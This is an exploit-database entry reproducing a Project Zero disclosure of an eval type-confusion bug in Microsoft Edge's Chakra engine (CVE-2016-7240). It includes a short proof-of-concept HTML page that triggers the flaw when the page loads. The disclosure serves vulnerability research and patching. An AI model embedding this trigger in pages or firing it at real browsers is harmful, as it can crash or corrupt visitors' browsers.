Microsoft Edge - 'eval' Type Confusion

Author: Google Security Research
type: dos
platform: windows
port: 
date_added: 2016-11-17 
date_updated: 2016-11-17 
verified: 1 
codes: CVE-2016-7240 
tags: 
aliases:  
screenshot_url:  
application_url:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=948

In Chakra, function calls can sometimes take an extra internal argument, using the flag CallFlags_ExtraArg. The global eval function makes assumptions about the type of this extra arg, and casts it to a FrameDisplay object. If eval is called from a location in code where an extra parameter is added, for example, a Proxy function trap, and the extra parameter is of a different type, this can lead to type confusion. A full PoC is as follows and attached:

var p = new Proxy(eval, {});
p("alert(\"e\")");
-->

<html>
<body>
<script>
var p = new Proxy(eval, {});
p("alert(\"e\")");
</script>
</body>
</html>